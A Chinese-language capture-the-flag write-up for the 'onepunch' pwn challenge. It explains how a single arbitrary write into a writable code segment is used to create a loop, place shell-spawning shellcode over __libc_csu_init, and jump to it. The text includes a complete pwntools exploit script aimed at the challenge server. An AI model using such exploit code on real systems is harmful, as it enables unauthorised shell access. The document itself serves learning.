hackme pwn onepunch
做的题太少了,不知道应该把这种题目如何归类
int __cdecl main(int argc, const char **argv, const char **envp)
{……v5 = __isoc99_scanf("%llx %d", &v6, &v4);if ( v5 != 2 )return 0;*v6 = v4;……return 0;
}
题目只提供了一个功能:读取两个数,第一个值为内存地址,第二个值为写入的数
也即:我们可以完成一次任意地址写,写入最多一个int
写一次没有什么用 => 写入多次就有用了!可以把我们的shellcode布置到代码中,直接运行即可
如何写入多次 => 利用第一次的内存写入,把循环跳转改成main中的死循环~~~
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 48 8B 45 F0 mov rax, [rbp+var_10]
.text:000000000040075A 8B 55 E8 mov edx, [rbp+var_18]
.text:000000000040075D 88 10 mov [rax], dl
.text:000000000040075F 8B 45 E8 mov eax, [rbp+var_18]
.text:0000000000400762 3D FF 00 00 00 cmp eax, 0FFh
.text:0000000000400767 75 0A jnz short loc_400773
.text:0000000000400769 BF 28 08 40 00 mov edi, offset s ; "No flag for you"
.text:000000000040076E E8 ED FD FF FF call _puts
注意到这里的0x400767处的75 0A,如果把这里的判断跳转,改为强制跳转到main,即可完成死循环操作。剩下的就是把shellcode布置好
Edit - Patch Program - Assemble:
注意这里不能改成jmp main
jmp和jnz是不同的指令操作,会导致不仅要修改指令,还得修改偏移,但是我们只能修改一次
第一步:输入0x400768 137
第二步:
找到一串我们控制的地址,不影响程序运行,就可以写入shellcode
__libc_csu_init的代码在运行main之前已经使用过,现在已经无用,所以可以覆盖
第三步:
再控制0x400768到__libc_csu_init的地址,执行shellcode
#!/usr/bin/env python
# coding=utf-8from pwn import *context(arch = "amd64")
#io = process("./onepunch")
io = remote("hackme.inndy.tw", 7718)#jnz main
io.recv()
io.sendline("0x400768 137")#shellcode =>__libc_csu_init
payload = asm(shellcraft.sh())
l = len(payload)
i = 0
addr = 0x400790
while i < l:io.recv()io.sendline(str(hex(addr + i)) + " " + str(ord(payload[i])))i += 1#jnz __libc_csu_init(get shell)
io.recv()
io.sendline("0x400768 39")io.interactive()
要注意这里有个坑
因为我们用了pwntools的工具来自动生成shellcode,所以需要制定平台架构为64位系统(不填默认为32位,就会报错)
hackme pwn onepunch相关推荐
- hackme inndy pwn onepunch writeup
继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束.... 然后找了半天...完全没思路...一个字节只能写一次.... 然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以 ...
- Hackme.inndy - Onepunch
Onepunch 这个题的想法必须得称妙了,需要对以往简单的认知进行一定的颠覆. 特殊性在于程序的代码段(0x401000)具有写权限 1.通过修改程序代码段控制程序流程 程序中只能对任意一个字节改写 ...
- linux kernal pwn STARCTF 2019 hackme(三)userfaultfd机制修改cred
首先再熟悉一下userfaultfd机制 内存页的分配是创建时先分配页表但并不会实际分配物理页面.在读写发生时,由于物理页面不存在,触发缺页异常进入内核处理该缺页中断,再实际分配物理页面进行相应的读写 ...
- onepunch的wp
https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了onepunch这个题目感觉还不错,我把wp分享出来,方便大家学习 onepunch的题目要求是: nc ha ...
- hackme.inndy.tw的一些Writeup(5月30更新)
hackme.inndy.tw的一些Writeup(6月3日更新) 原文链接:http://www.cnblogs.com/WangAoBo/p/7706719.html 推荐一下https://ha ...
- 攻防世界pwn高手进阶(持续更新)
文章目录 dice_game warmup forgot stack2 pwn-100 mary_morton monkey pwn1 dice_game IDA看一下: 这个和新手训练的guess_ ...
- hackme.inndy rsbo2 经验总结
这题想用retdl-resolve 来解题,可是自己手写的脚本过不了,搜过其他的wp,发现有很多种解法,利用DynELF泄露libc地址, 或利用write直接泄露libc地址(题目给了libc),但 ...
- [Dest0g3 pwn] ez_pwn,ea_aarch,dest_love,ezuaf
这回的pwn都用的高版本libc,各网站上一般都是2.23,2.27以前几年的题,高版本的很少,所以练了半天还不大会,只作了4个简单点的.另外两个已经弄到任意写了,但没找着往哪写管用放弃了. 目录 e ...
- Hitcon 2016 Pwn赛题学习
PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...
最新文章
- python语言程序设计基础网课-Python语言程序设计基础答案
- Requests库网络爬虫实战
- Cucumber 相关资源
- mysql_install_db创建空库_MySQL数据库的初始化mysql_install_db
- t-sql的执行顺序
- 程序员必备智力题集锦 (典藏版)
- CSS3------ 按钮闪光划过效果
- Ubuntu安装摄像头驱动
- python小说电子书阅读系统毕业设计开题报告
- ncnn DataReaderExtractorblob
- 统计套利之平稳性检验
- android版iphone6s,不必羡慕iPhone6S!安卓也能用Live Photo
- 清明时节雨纷纷路-清明节习俗、诗词欣赏
- Gopher China 2019 讲师专访-腾讯/TARS开源团队核心成员陈明杰
- unity Text文字淡入效果
- 来聊聊云计算能否彻底改变业务和软件架构
- Powershell知识点1:开启脚本限制 报错:无法加载文件,因为在此系统中禁止执行脚本
- excel两列乱序姓名如何一一对应 excel 两列数据自动配对
- 计算机毕业论文选题推荐|软件工程|系列二
- ae合成设置快捷键_郑州UI设计学习进阶之AE导出GIF动画方法分享